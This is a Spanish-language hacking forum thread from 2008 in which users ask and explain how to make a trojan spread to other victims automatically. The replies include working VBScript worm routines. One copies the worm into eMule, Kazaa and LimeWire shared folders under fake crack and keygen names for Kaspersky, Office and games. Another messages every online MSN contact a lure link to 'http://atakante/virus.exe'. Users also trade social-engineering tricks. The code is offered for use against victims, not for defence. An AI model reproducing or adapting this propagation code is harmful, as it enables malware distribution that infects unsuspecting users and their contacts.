elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
21 Mayo 2012, 15:11  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Como propagar un archivo infectado de forma automatica
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Como propagar un archivo infectado de forma automatica  (Leído 2,818 veces)
juancho77


Desconectado Desconectado

Mensajes: 455


rie con demencia


Ver Perfil
Como propagar un archivo infectado de forma automatica
« en: 11 Febrero 2008, 05:03 »

Existe algun manual, libro o algun texto medianamente actual en el que se trate este tema? Estuve buscando algo pero todo esta bastane viejo y incompleto.
Si no me equivoco, seria como una introduccion a la programacion o manejo de virus. Me interesaria hacer que un servidor de troyano se auto propague a otras victimas por medio de otro programa, ya sea de correo electronico, mensajeria instantanea o por la red local, esto ultimo principalmente.
Bueno, si alguien sabe le estaria agradecido.
En línea

octalh


Desconectado Desconectado

Mensajes: 519


"El sueño de la razón produce monstruos"


Ver Perfil WWW
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #1 en: 11 Febrero 2008, 05:50 »

hola juancho, hace tiempo escribi un manual muy facil de entender para la creacion de un gusano que propaga lo que quieras por memorias usb ( medios extraibles )

en unos minutos aprenderas a propagar tu aplicacion :D


http://foro.elhacker.net/index.php/topic,191563.msg910485.html


salu2
En línea

「エステバン 」
ReCoLeCtAr DaToS eS SoLo El PriMeR pASo A la SaBiDuRIa
PeRo CoMpArTiR DaToS eS eL pRiMeR pAsO a La CoMuNidAD...

http://www.octalh.mx.gs/




http://www.aztekmindz.org

Gabrunix

Desconectado Desconectado

Mensajes: 177


Gabrunix web http://www.gabrunix.cl.kz


Ver Perfil WWW
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #2 en: 11 Febrero 2008, 11:04 »

hola juancho, hace tiempo escribi un manual muy facil de entender para la creacion de un gusano que propaga lo que quieras por memorias usb ( medios extraibles )

en unos minutos aprenderas a propagar tu aplicacion :D


http://foro.elhacker.net/index.php/topic,191563.msg910485.html


salu2

Ese manual esta excelente como todos los que e visto del mismo autor, me da curiosidad el saber como se tendría que modificar ese código para que la victima les enviara el gusano por MSN automáticamente acompañado de un "mira mi foto" si no me equivoco esto aun no se ve por estos foros
En línea

K-19


Desconectado Desconectado

Mensajes: 425


Sarah Wayne


Ver Perfil WWW
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #3 en: 11 Febrero 2008, 15:21 »

También podrías hacer que detectase si la victima usa emule/kazaa/ares u otros programas p2p, y en caso que existan dichos programas, pues que crease una copia de si mismo en las carpetas compartidas. A ser posible varias copias y con nombres diferentes tipo: crack fifa 2008, Need for Speed keygen y mas cosas...
En línea

juancho77


Desconectado Desconectado

Mensajes: 455


rie con demencia


Ver Perfil
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #4 en: 11 Febrero 2008, 18:09 »

Citar
Ese manual esta excelente como todos los que e visto del mismo autor, me da curiosidad el saber como se tendría que modificar ese código para que la victima les enviara el gusano por MSN automáticamente acompañado de un "mira mi foto" si no me equivoco esto aun no se ve por estos foros

Si, tengo la misma inquietud  ::) Aunque hoy en dia creo que ha perdido efectividad. Hay uno muy bueno que te manda a una web desde donde descarga automaticamente y se copia.

Gracias octalh por la informacion, realmente muy bueno.

Si alguien sabe algo mas, bienvenido sea.  ;D
En línea

octalh


Desconectado Desconectado

Mensajes: 519


"El sueño de la razón produce monstruos"


Ver Perfil WWW
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #5 en: 11 Febrero 2008, 19:34 »

También podrías hacer que detectase si la victima usa emule/kazaa/ares u otros programas p2p, y en caso que existan dichos programas, pues que crease una copia de si mismo en las carpetas compartidas. A ser posible varias copias y con nombres diferentes tipo: crack fifa 2008, Need for Speed keygen y mas cosas...

a decir verdad es facil de hacer, en un gusano que programe le añadi opciones de propagacion por P2P, en cuanto a la funcion para infectar, se las dejo de tarea no es complicado, podrian tomar como base de investigacion al gusano love letter y utilizar mi codigo de propagacion p2p

basicamente busca esos directorios, de encontarr ejecutables los infecta, y ademas se copia con varios nombres conocidos de cracks y keygens de juegos y programas

Código:
Const programas = &H26

sub infectarp2p()
'subproceso que se encarga de crear copias del gusano con diferente nombre
    On Error Resume Next
    dim foldersp2p(8)

Set carpetaprogramas = objShell.Namespace(programas)
cprogramas = carpetaprogramas.Self.Path
foldersp2p(0)  = "C:\DOCUME~1\"& userdir &"\shared\"
foldersp2p(1)  = cprogramas & "\eMule\Incoming\"
foldersp2p(2)  = cprogramas & "\Bearshare\Shared\"
foldersp2p(3)  = cprogramas & "\eDonkey2000\Incoming\"
foldersp2p(4)  = cprogramas & "\Grokster\MYGROK~1\"
foldersp2p(5)  = cprogramas & "\ICQ\Shared Folder\"
foldersp2p(6)  = cprogramas & "\Kazaa Lite\MYSHAR~1\"
foldersp2p(7)  = cprogramas & "\Kazaa\MYSHAR~1\"
foldersp2p(8)  = cprogramas & "\LimeWire\Shared\"
for each folderainfectar in foldersp2p
  infectarfiles(folderainfectar)
dim nombrefakep2p(10)
nombrefakep2p(0)  = "Kaspersky 7.0.0.125"
nombrefakep2p(1)  = "Kaspersky Anti-Virus7.0.0.125"
nombrefakep2p(2)  = "Nero 8 UltraEdition 8.0.3.0"
nombrefakep2p(3)  = "Ad-Aware 2007 Pro"
nombrefakep2p(4)  = "Ahead Nero 8 UltraEdition"
nombrefakep2p(5)  = "Fifa 2008 ENG"
nombrefakep2p(6)  = "Kaspersky Internet Security 7.0.0.125"
nombrefakep2p(7)  = "Microsoft Office 2007 Enterprise (Productkey)"
nombrefakep2p(8)  = "AD-aware 2007"
nombrefakep2p(9)  = "Microsoft Office Pro 2007"
nombrefakep2p(10) = "AVGAnti-Spyware 7.5.1.43"
for each nombrep2p in nombrefakep2p
dim tipofake(1)
tipofake(0) = "keygen_"
tipofake(1) = "crack_"
for each typefake in tipofake
const extensión = ".exe"
   if not fso.FileExists(folderainfectar & typefake & nombrep2p & extensión) then
fso.CopyFile w0rmname, folderainfectar & typefake & nombrep2p & extensión , true
     end if
   next
 next
next
end sub

Código:
Ese manual esta excelente como todos los que e visto del mismo autor, me da curiosidad el saber como se tendría que
modificar ese código para que la victima les enviara el gusano por MSN automáticamente acompañado de un "mira mi foto" si no me equivoco
esto aun no se ve por estos foros


para eso solo basta con utilizar sendkeys  :rolleyes:

Código:
Infectar_MzN()

Private Sub Infectar_MzN() 'Infecto a los contactos del MSN utilizando IS
Set WshShell = WScript.CreateObject("WScript.Shell")

Set w = CreateObject("Messenger.UIAutomation")
For Each IMessengerContact In w.MyContacts
    If IMessengerContact.Status <> MISTATUS_ONLINE Then
        Set iMsn = w.InstantMessage(IMessengerContact.SigninName)
WshShell.SendKeys "hola mira esto!!!! http://atakante/virus.exe" 'Inicia el Msj
WshShell.SendKeys "{ENTER}" 'Confirm
    End If
Next
End Sub

PD. el codigo de spread por msn no es mio


salu2
« Última modificación: 11 Febrero 2008, 19:43 por octalh » En línea

「エステバン 」
ReCoLeCtAr DaToS eS SoLo El PriMeR pASo A la SaBiDuRIa
PeRo CoMpArTiR DaToS eS eL pRiMeR pAsO a La CoMuNidAD...

http://www.octalh.mx.gs/




http://www.aztekmindz.org

juancho77


Desconectado Desconectado

Mensajes: 455


rie con demencia


Ver Perfil
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #6 en: 12 Febrero 2008, 06:21 »

jaja el que sabe, sabe  ;D

aca hay algo mas de informacion
http://foro.elhacker.net/index.php/topic,199433.0.html
En línea

hector_o_c

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #7 en: 14 Febrero 2008, 13:19 »

Disculpa octalh, si no me equivoco los codigos que pusiste son batch verdad?
En línea
K-19


Desconectado Desconectado

Mensajes: 425


Sarah Wayne


Ver Perfil WWW
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #8 en: 14 Febrero 2008, 16:26 »

Disculpa octalh, si no me equivoco los codigos que pusiste son batch verdad?

Batch?? ni por asomo... creo que se trata de Visual Basic o vbs, sino que me corrijan, pero Batch ni de coña.
En línea

hector_o_c

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #9 en: 14 Febrero 2008, 22:50 »

mmmm. ;D obiamente no se mucho de esto,de pura casualidad habra un post donde me ayude a identificar entre batch y vbs?
En línea
juancho77


Desconectado Desconectado

Mensajes: 455


rie con demencia


Ver Perfil
Re: Como propagar un archivo infectado de forma automatica
« Respuesta #10 en: 15 Febrero 2008, 01:09 »

Son VBS. Te das cuenta por el formato, que es muy similar al visual 6.0
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
como hago para que me reconozca la wifi despues de reiniciar en forma automatica
Wireless en Linux
damian_cap28 1 1,251 Último mensaje 21 Septiembre 2011, 15:51
por dvdr
Como recuperar un Archivo infectado
Seguridad
RHL 2 1,053 Último mensaje 10 Noviembre 2011, 11:37
por mrk3
¿Se pueden enviar de forma automática los logs de un Firewall Fortigate a...?
Redes
Maedhros 2 520 Último mensaje 31 Enero 2012, 15:33
por Maedhros
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines